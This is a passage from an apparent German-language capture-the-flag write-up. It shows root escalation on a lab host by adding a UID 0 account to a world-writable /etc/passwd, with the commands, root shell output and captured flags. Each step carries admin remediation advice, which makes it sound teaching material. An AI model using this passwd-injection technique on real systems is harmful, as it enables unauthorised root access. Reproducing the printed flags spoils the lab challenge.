Empfehlung (Admin): Überwachen Sie SSH-Logins. Rotieren Sie SSH-Schlüssel regelmäßig.

Privilege Escalation (Host)

Enumeration auf dem Host-System als Benutzer `docksec`.

docksec@uninvited$ ls -la /etc/passwd
-rwxrwxrwx 1 777 root 1616 Jul 30  2020 /etc/passwd

Analyse: Die Berechtigungen der `/etc/passwd`-Datei auf dem Host-System werden überprüft.

Bewertung: Kritische Fehlkonfiguration! Die `/etc/passwd`-Datei ist für alle Benutzer **schreibbar** (`-rwxrwxrwx`). Dies ist eine extrem gefährliche Fehlkonfiguration, die eine einfache Privilegieneskalation ermöglicht.

Empfehlung (Pentester): Fügen Sie einen neuen Benutzer mit UID 0 und GID 0 zur `/etc/passwd`-Datei hinzu. Erstellen Sie ggf. auch einen Eintrag in `/etc/shadow` mit einem bekannten Passwort-Hash oder lassen Sie das Passwortfeld leer/auf `x` (je nachdem, wie `su` konfiguriert ist). Wechseln Sie dann zu diesem neuen Root-Benutzer.
Empfehlung (Admin): Korrigieren Sie *sofort* die Berechtigungen der `/etc/passwd`-Datei (`chmod 644 /etc/passwd`). Überprüfen Sie die Berechtigungen aller kritischen Systemdateien.

Proof of Concept (Passwd File)

Die unsicheren Berechtigungen der `/etc/passwd`-Datei werden ausgenutzt, um Root-Rechte zu erlangen.

docksec@uninvited$ nano /etc/passwd # (oder anderer Editor)
# Füge eine Zeile hinzu, z.B.:
# fuck:x:0:0:,,,:/root:/bin/bash
docksec@uninvited$ su fuck
Password: # (Kein Passwort benötigt, da 'x' im Shadow-Feld steht und kein Eintrag in /etc/shadow existiert?)
root@uninvited:/home/docksec# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Die `/etc/passwd`-Datei wird bearbeitet. Eine neue Zeile für einen Benutzer `fuck` wird hinzugefügt, wobei die UID und GID auf 0 (Root) gesetzt werden. Anschließend wird mit `su fuck` versucht, zu diesem neuen Benutzer zu wechseln. Da kein Passwort für den neuen Benutzer gesetzt wurde (oder das 'x' ausreicht, wenn kein entsprechender Shadow-Eintrag existiert), ist kein Passwort erforderlich.

Bewertung: Erfolg! Der Wechsel zum Benutzer `fuck` mit Root-Rechten (`uid=0`) war erfolgreich. Die Privilegieneskalation wurde durch Ausnutzung der schreibbaren `/etc/passwd`-Datei erreicht.

Empfehlung (Pentester): Ziel erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen von `/etc/passwd` und `/etc/shadow` (`chmod 640 /etc/shadow`, `chown root:shadow /etc/shadow`). Implementieren Sie File Integrity Monitoring.

root@uninvited:/home/docksec# cd /root
root@uninvited:/root# ls
ProjectX  root.txt
root@uninvited:/root# cat root.txt
             .__            .__  __             .___
 __ __  ____ |__| _______  _|___/  |_  ____   __| _/
|  |  \/    \|  |/    \  \/ |  \   ___/ __ \ / __ |
|  |  |   |  |  |   |  \   /|  ||  | \  ___// /_/ |
|____/|___|  |__|___|  /\_/ |__||__|  \___  \____ |
           \/        \/                   \/     \/
FLAG{58DSFJ74RFWESD8J2LKJGHJ87ER4QREWRFLMSTDCMGKAASD}

Analyse: In der Root-Shell wird in das `/root`-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.

Bewertung: Die Root-Flag wird erfolgreich gefunden: `FLAG{58DSFJ74RFWESD8J2LKJGHJ87ER4QREWRFLMSTDCMGKAASD}`.

Empfehlung (Pentester): Dokumentieren Sie den Fund und den Eskalationspfad.
Empfehlung (Admin): Sichern Sie das System ab.

Flags

cat /home/docksec/user1.txt
FLAG{DASDGFGPXLCKDEG5D7635CSDAFDIMMJDSUWEQDSADIG}
cat /root/root.txt
FLAG{58DSFJ74RFWESD8J2LKJGHJ87ER4QREWRFLMSTDCMGKAASD}